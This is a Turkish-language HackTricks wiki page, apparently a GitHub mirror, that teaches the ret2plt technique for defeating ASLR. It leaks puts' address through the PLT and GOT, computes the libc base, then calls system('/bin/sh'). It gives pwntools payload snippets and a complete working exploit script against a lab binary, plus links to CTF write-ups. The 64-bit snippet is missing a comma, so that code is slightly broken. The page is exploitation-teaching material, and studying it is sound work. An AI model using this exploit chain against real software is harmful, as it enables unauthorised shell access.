mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
3.0 KiB
Markdown
79 lines
3.0 KiB
Markdown
# Ret2plt
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Temel Bilgiler
|
||
|
||
Bu tekniğin amacı, **ASLR'yi atlatabilmek için PLT'den bir fonksiyonun adresini sızdırmak** olacaktır. Bunun nedeni, örneğin, libc'den `puts` fonksiyonunun adresini sızdırırsanız, **`libc`'nin temel adresini hesaplayabilir** ve **`system`** gibi diğer fonksiyonlara erişmek için ofsetleri hesaplayabilirsiniz.
|
||
|
||
Bu, ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)) gibi bir `pwntools` yükü ile yapılabilir:
|
||
```python
|
||
# 32-bit ret2plt
|
||
payload = flat(
|
||
b'A' * padding,
|
||
elf.plt['puts'],
|
||
elf.symbols['main'],
|
||
elf.got['puts']
|
||
)
|
||
|
||
# 64-bit
|
||
payload = flat(
|
||
b'A' * padding,
|
||
POP_RDI,
|
||
elf.got['puts']
|
||
elf.plt['puts'],
|
||
elf.symbols['main']
|
||
)
|
||
```
|
||
Not edin ki **`puts`** (PLT'den alınan adres kullanılarak) GOT'daki `puts` adresi ile çağrılır. Bunun nedeni, `puts` GOT girişi yazdırdığında, bu **girişin bellek içindeki `puts` adresini tam olarak içerecek olmasıdır**.
|
||
|
||
Ayrıca, `main` adresinin istismarda nasıl kullanıldığını not edin, böylece `puts` çalışmasını bitirdiğinde, **binary `main`'i tekrar çağırır, çıkmak yerine** (bu nedenle sızdırılan adres geçerli olmaya devam eder).
|
||
|
||
> [!CAUTION]
|
||
> Bunun çalışması için **binary PIE ile derlenmemiş olmalıdır** veya PLT, GOT ve main adresini bilmek için **PIE'yi atlatmak için bir sızıntı bulmuş olmalısınız**. Aksi takdirde, önce PIE'yi atlatmanız gerekir.
|
||
|
||
Bu [**atlatmanın tam örneğini burada bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). Bu, o **örneğin** son istismarıydı:
|
||
```python
|
||
from pwn import *
|
||
|
||
elf = context.binary = ELF('./vuln-32')
|
||
libc = elf.libc
|
||
p = process()
|
||
|
||
p.recvline()
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
elf.plt['puts'],
|
||
elf.sym['main'],
|
||
elf.got['puts']
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
puts_leak = u32(p.recv(4))
|
||
p.recvlines(2)
|
||
|
||
libc.address = puts_leak - libc.sym['puts']
|
||
log.success(f'LIBC base: {hex(libc.address)}')
|
||
|
||
payload = flat(
|
||
'A' * 32,
|
||
libc.sym['system'],
|
||
libc.sym['exit'],
|
||
next(libc.search(b'/bin/sh\x00'))
|
||
)
|
||
|
||
p.sendline(payload)
|
||
|
||
p.interactive()
|
||
```
|
||
## Diğer örnekler ve Referanslar
|
||
|
||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||
- 64 bit, ASLR etkin ama PIE yok, ilk adım bir taşmayı 0x00 byte'ına kadar doldurmak ve ardından puts çağrısı yaparak sızıntıyı elde etmektir. Canary ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı.
|
||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||
- 64 bit, ASLR etkin, canary yok, ana fonksiyondan bir çocuk fonksiyonu ile yığın taşması. Puts'un GOT'tan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırmak için.
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|